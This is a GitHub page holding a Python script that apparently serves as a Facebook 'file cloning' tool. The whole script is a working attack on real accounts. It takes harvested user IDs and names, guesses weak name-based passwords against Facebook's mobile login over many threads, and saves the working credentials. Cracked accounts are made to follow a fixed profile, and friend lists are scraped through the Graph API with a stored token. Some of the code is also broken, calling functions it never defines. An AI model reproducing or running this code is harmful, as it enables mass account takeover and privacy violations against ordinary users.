This repository has been archived by the owner on Jan 1, 2023. It is now read-only.
forked from mushuH/OPEN-SOURCE-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
File-ok.py
479 lines (452 loc) · 17.7 KB
/
File-ok.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
#!/usr/bin/python3
import os
try:
import requests
except ImportError:
print('\n [✓] installing requests !...\n')
os.system('pip install requests')
try:
import concurrent.futures
except ImportError:
print('\n [✓] installing futures !...\n')
os.system('pip install futures')
try:
import bs4
except ImportError:
print('\n [✓] installing bs4 !...\n')
os.system('pip install bs4')
import requests, os, re, bs4,platform, sys, json, time, random, datetime, subprocess, threading, itertools,base64,uuid,zlib
from concurrent.futures import ThreadPoolExecutor as MAHABUBssb
from datetime import datetime
from bs4 import BeautifulSoup
ct = datetime.now()
n = ct.month
bulan = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'Agustus', 'September', 'October', 'November', 'December']
try:
if n < 0 or n > 12:
exit()
nTemp = n - 1
except ValueError:
exit()
current = datetime.now()
ta = current.year
bu = current.month
ha = current.day
op = bulan[nTemp]
P = '\x1b[1;97m' #
M = '\033[1;31m' #
H = '\033[1;32m' #
K = '\x1b[1;97m' #
B = '\x1b[1;97m' #
U = '\x1b[1;97m' #
O = '\x1b[1;97m' #
N = '\x1b[0m' #
my_color = [
P, M, H, K, B, U, O, N]
warna = random.choice(my_color)
data,data2={},{}
aman,cp,salah=0,0,0
ubahP,fuck,pwBaru=[],[],[]
ok = []
cp = []
id = []
user = []
loop = 0
url_lookup = "https://lookup-id.com/"
url_mb = "https://m.facebook.com"
url_ip = "https://www.httpbin.org/ip"
header_grup = {"user-agent": "Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]"}
bulan_ttl = {"01": "January", "02": "February", "03": "March", "04": "April", "05": "May", "06": "June", "07": "July", "08": "Augustus", "09": "September", "10": "October", "11": "November", "12": "December"}
done = False
def jalan(z):
for e in z + '\n':
sys.stdout.write(e)
sys.stdout.flush()
time.sleep(0.01)
logo = ("""\033[1;32m
_____________________________________
| _ \| __ \ |__ __| ____| __ \| \/ | | | \ \ / /
| |_) | | | |______| | | |__ | |__) | \ / | | | |\ V /
| _ <| | | |______| | | __| | _ /| |\/| | | | | > <
| |_) | |__| | | | | |____| | \ \| | | | |__| |/ . \
|____/|_____/ |_| |______|_| \_\_| |_|\____//_/ \_\░ \033
__________________×______________________
__________________×______________________
Auther : MEHEDI HASAN TONU
Github :https://github.com/Tonu-143
Facebook : MEHEDI HASAN TONU
Contact :+8801759916221
Note:it is only free for 217 member
__________________×______________________\033[1;37m""")
def hasil(OK,cp):
if not len(OK) != 0:
pass
if len(cp) != 0:
print('\n\n \x1b[1;97m Total OK : \x1b[1;97m %s \x1b[1;97mTONU_OK.txt' % (H, P, str(len(ok))))
print(' \x1b[1;97m Total CP :\x1b[1;97m %s \x1b[1;97mTONU_CP.txt' % (H, P, str(len(cp))))
input("\x1b[1;97mPress enter to back TONU Menu ")
MAHABUB()
def MAHABUB():
os.system('clear')
print(logo)
ipm = requests.get(url_ip).json()
todz = ''
IP = ipm['origin']
print
print(' [1] Start File Cloning')
print(' [2] Create File [Best-Method]')
print(' [3] BACK')
print('')
_MAHABUB___ = input(' [?] Choose option : ')
if _MAHABUB___ in ('1', '01'):
__xxx__().MAHABUBx(id)
if _MAHABUB___ in ('2', '02'):
os.system("python Beta.py")
if _MAHABUB___ in ('E', 'ee'):
os.system("python home.py")
class __xxx__:
def __init__(self):
self.id = []
def MAHABUBx(self,id):
os.system("clear")
print(logo)
print("\u001b[34;1m[°°] EXM: /sdcard/filename.txt")
print("\u001b[35;1m==============================")
self.cnt = input('\u001b[35;1m[•]Put File Name : ')
self.id = open(self.cnt).read().splitlines()
os.system('clear')
print(logo)
print("")
___worldwide___ = ('y')
if ___worldwide___ in ('yes','Yes','Y', 'y'):
self.__pler__()
else:
print(' [!] Choose Correct One');
self.MAHABUBx(id)
def __metode__(self, user, __chi__, cebok):
global ok,cp,loop
sys.stdout.write(f"\r \x1b[1;97m[TONU] {loop}|{len(self.id)} [ok][{len(ok)}] [cp][{len(cp)}] ")
sys.stdout.flush()
try:
for pw in __chi__:
pw = pw.lower()
session=requests.Session()
header = {
"Host":cebok,
"upgrade-insecure-requests":"1",
"user-agent":"NokiaC3-00/5.0 (08.63) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+",
"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"dnt":"1",
"x-requested-with":"mark.via.gp",
"sec-fetch-site":"same-origin",
"sec-fetch-mode":"cors",
"sec-fetch-user":"empty",
"sec-fetch-dest":"document",
"referer":"https://m.facebook.com/",
"accept-encoding":"gzip, deflate br",
"accept-language":"en-GB,en-US;q=0.9,en;q=0.8"
}
r = session.get(f"https://{cebok}/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F", headers=header)
das = {
"lsd":re.search('name="lsd" value="(.*?)"', str(r.text)).group(1),
"jazoest":re.search('name="jazoest" value="(.*?)"', str(r.text)).group(1),
"uid":user,
"flow":"login_no_pin",
"pass":pw,
"next":"https://developers.facebook.com/tools/debug/accesstoken/"
}
header1 = {
"Host":cebok,
"cache-control":"max-age=0",
"upgrade-insecure-requests":"1",
"origin":"https://"+cebok,
"content-type":"application/x-www-form-urlencoded",
"user-agent":"Mozilla/5.0 (Linux; Android 12; SAMSUNG SM-G780G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/16.0 Chrome/92.0.4515.166 Mobile Safari/537.36",
"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"x-requested-with":"XMLHttpRequest",
"sec-fetch-site":"same-origin",
"sec-fetch-mode":"cors",
"sec-fetch-user":"empty",
"sec-fetch-dest":"document",
"referer":"https://"+cebok+"/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F",
"accept-encoding":"gzip, deflate br",
"accept-language":"en-GB,en-US;q=0.9,en;q=0.8"
}
po = session.post(f"https://{cebok}/login/device-based/validate-password/?shbl=0", data = das, headers = header1, allow_redirects = False)
if 'c_user' in session.cookies.get_dict():
coki=";".join([key+"="+value for key,value in session.cookies.get_dict().items()])
print(f"\r{H} [TONU-OK] {user} | {pw}")
wrt = '%s|%s' % (user,pw)
ok.append(wrt)
open('TONU_OK.txt' , 'a').write('%s\n' % wrt)
self.follow(session,coki)
break
elif 'checkpoint' in session.cookies.get_dict():
try:
tokenz = open('.token.txt').read()
cp_ttl = session.get(f'https://graph.facebook.com/{user}?fields=birthday&access_token={tokenz}').json()['birthday']
month, day, year = cp_ttl.split('/')
month = bulan_ttl[month]
print('\r%s [TONU-CP] %s | %s ' % (M, user, pw))
wrt = '%s|%s' % (user,pw)
cp.append(wrt)
open('TONU_CP.txt' , 'a').write('%s\n' % wrt)
break
except (KeyError, IOError):
month = ''
day = ''
year = ''
except:
pass
print('\r%s [TONU-CP] %s | %s ' % (M, user, pw))
wrt = '%s|%s' % (user,pw)
cp.append(wrt)
open('TONU_CP.txt' , 'a').write('%s\n' % wrt)
break
else:
continue
loop+=1
except:
self.__metode__(user, pw, cebok)
def follow(self, session, coki):
r = BeautifulSoup(session.get('https://mbasic.facebook.com/profile.php?id=100007607054845', cookies={'cookie': coki}).text, 'html.parser')
get = r.find('a', string='Ikuti').get('href')
session.get(('https://mbasic.facebook.com' + str(get)), cookies={'cookie': coki}).text
def __pler__(self):
print('[1] Crack With Auto Pass ')
print('[2] Crack With Name Digit Pass')
chi = input('\n [?] Choose: ')
if chi == '':
print('\nSelect Correct One')
self.__pler__()
elif chi in ('1', '01'):
os.system("clear")
print(logo)
print("\033[1;31m\rUse flight (airplane) mode before use\033[1;37m")
print(47*"-")
print('\033[1;37m Total Auto file IDs : %s ' % len(self.id))
print('\033[1;37m Cracking Started...')
print(47*"-")
with MAHABUBssb(max_workers=30) as ssbworld:
for zsb in self.id: # Yo Ndak Tau Kok Tanya Saia
try:
uid, name = zsb.split('|')
xz = name.split(' ')
first, last = name.split(' ')
firstl = first.lower()
lastl = last.lower()
firsts = first.capitalize()
lasts = last.capitalize()
if len(xz) == 3 or len(xz) == 4 or len(xz) == 5 or len(xz) == 6:
pwx = [firstl+' '+lastl, xz[0]+"12345", xz[0]+"123"]
else:
pwx = [firstl+' '+lastl, xz[0]+"12345", xz[0]+"123"]
pwx = [firstl+' '+lastl, xz[0]+"12345", xz[0]+"123"]
ssbworld.submit(self.__metode__, uid, pwx, "mbasic.facebook.com")
except:
pass
hasil(ok,cp)
elif chi in ('2', '02'):
os.system("clear")
print(logo)
print("\033[1;37m\rEnter Last Name Digits\033[1;37m\n")
p1 = input(' Name + 1 : ')
p2 = input(' Name + 2 : ')
p3 = input(' Name + 3 : ')
p4 = input(' Name + 4 : ')
os.system("clear")
print(logo)
print("\033[1;31m\rUse flight (airplane) mode before use\033[1;37m")
print(47*"-")
print('\033[1;37m Total IDs : %s ' % len(self.id))
print('\033[1;37m Cracking Started...')
print(47*"-")
with MAHABUBssb(max_workers=30) as ssbworld:
for zsb in self.id: # Yo Ndak Tau Kok Tanya Saia
try:
uid, name = zsb.split('|')
xz = name.split(' ')
if len(xz) == 3 or len(xz) == 4 or len(xz) == 5 or len(xz) == 6:
pwx = [name, xz[0]+"123", xz[0]+xz[1], xz[0]+"12345"]
else:
pwx = [name, xz[0]+"123", xz[0]+xz[1], xz[0]+"12345"]
ssbworld.submit(self.__metode__, uid, pwx, "mbasic.facebook.com")
except:
pass
hasil(ok,cp)
else:
print('\n Select Valid One')
self.__pler__()
def create_file():
os.system('clear')
print(logo)
print(' [1] Create file manual')
print(' [2] Create file auto')
print(' [B] Back to main menu')
print(50*'-')
cf = input(' Choose method: ')
if cf =='1':
manual()
elif cf =='2':
auto()
elif cf =='3':
likes()
elif cf =='3' or cf =='b' or cf =='B':
main()
else:
print('\n Choose correct option ...')
time.sleep(1)
create_file()
def manual():
try:
token = open('/sdcard/tokenofl.txt', 'r').read()
except FileNotFoundError:
login()
try:
r = requests.get('https://graph.facebook.com/me?access_token='+token).text
q = json.loads(r)
uname = q['name']
except (KeyError):
login()
os.system('clear')
print(logo)
print(' Name: '+uname)
print(50*'-')
limit = int(input(' How many ids do you want to add ? '))
save_file = input(' Save file as: ')
t = 0
for u in range(limit):
t+=1
try:
ids = input(' Put id no%s: '%t)
r = requests.get('https://graph.facebook.com/'+ids+'/friends?limit=5000&access_token='+token).text
q = json.loads(r)
for j in q['data']:
uids = j['id']
names = j['name']
first_name = names.split(' ')[0]
try:
last_name = names.split(' ')[1]
except:
last_name = 'Khan'
with open('/sdcard/'+save_file, 'a') as rd:
rd.write(uids+'|'+first_name+'|'+last_name+'\n')
except KeyError:
print(' No friend for '+ids)
pass
print(50*'-')
print(' Ids saved as: '+save_file)
print(50*'-')
input(' Press enter to back')
MAHABUB()
def auto():
os.system('rm -rf temp*')
try:
access_token = open('/sdcard/tokenofl.txt', 'r').read()
except:
login()
try:
r = requests.get('https://graph.facebook.com/me?access_token='+access_token).text
q = json.loads(r)
uname = q['name']
except:
login()
os.system('clear')
print(logo)
print(' Logged user: '+uname)
print(50*'-')
nusrat = []
try:
limit_user = int(input(' How many ids do you want to add ? '))
except:
limit_user = 1
count = 0
for fir in range(limit_user):
count +=1
udit = input(' Put id%s: '%(count))
try:
tfile = open('/sdcard/tokenofl.txt','r').read()
fr = requests.get('https://graph.facebook.com/'+udit+'/friends?limit=5000&access_token='+tfile).text
qfr = json.loads(fr)
temp_save = open('temp.txt', 'a')
for data in qfr['data']:
uids = data['id']
if uids in nusrat:
pass
else:
nusrat.append(uids)
temp_save.write(uids+'\n')
temp_save.close()
except KeyError:
if 'invalid' in str(fr):
print(' Logged token has expired ...')
pass
else:
print(' No friends found for user: '+udit)
pass
os.system('clear')
print(logo)
print(' Total ids: '+str(len(nusrat)))
print(50*'-')
try:
ask_link = int(input(' How many links do you want to grab? '))
except:
ask_link = 1
completed = 0
for links in range(ask_link):
completed +=1
li = input(' %s Link start with: '%completed)
os.system('cat temp.txt | grep "'+li+'" >> temp2.txt')
save_file = input(' Save file as: ')
os.system('clear')
lines = open('temp2.txt', 'r').readlines()
print(logo)
print(' Total ids to grab: '+str(len(lines)))
print(' Grabbing Process has started')
print(50*'-')
fileid = 'temp2.txt'
fileidopen = open(fileid, 'r').read().splitlines()
dill = []
for ids in fileidopen:
try:
tfile = open('/sdcard/tokenofl.txt','r').read()
rg = requests.get('https://graph.facebook.com/'+ids+'/friends?limit=5000&access_token='+tfile).text
rgq = json.loads(rg)
idsave=open('/sdcard/'+save_file, 'a')
for inayat in rgq['data']:
uids = inayat['id']
dill.append(uids)
nm = inayat['name']
first_name = nm.split(' ')[0]
try:
last_name = nm.split(' ')[1]
except:
last_name = 'Khan'
idsave.write(uids+'|'+first_name+'|'+last_name+'\n')
print(' Grabbed from: '+ids)
# print(' Total friends: '+str(len(uids)))
print(' Token status: Live')
print(50*'-')
idsave.close()
except Exception as e:
#print(e)
if 'invalid' in str(rg):
print(' Token has expired, try again ...')
os.system('rm -rf temp*')
pass
else:
print(' Grabbed from: '+ids)
print(' Friendlist ids: 0')
print(' Token status: Live')
print(50*'-')
os.system('rm -rf temp*')
pass
lenid = open('/sdcard/'+save_file, 'r').readlines()
print(' Grabbing Process has completed ')
os.system('rm -rf temp*')
print(' Total ids grabbed: '+str(len(lenid)))
print(' File saved as: /sdcard/'+save_file)
print(50*'-')
input(' Press enter to back ')
safraz()
TONU()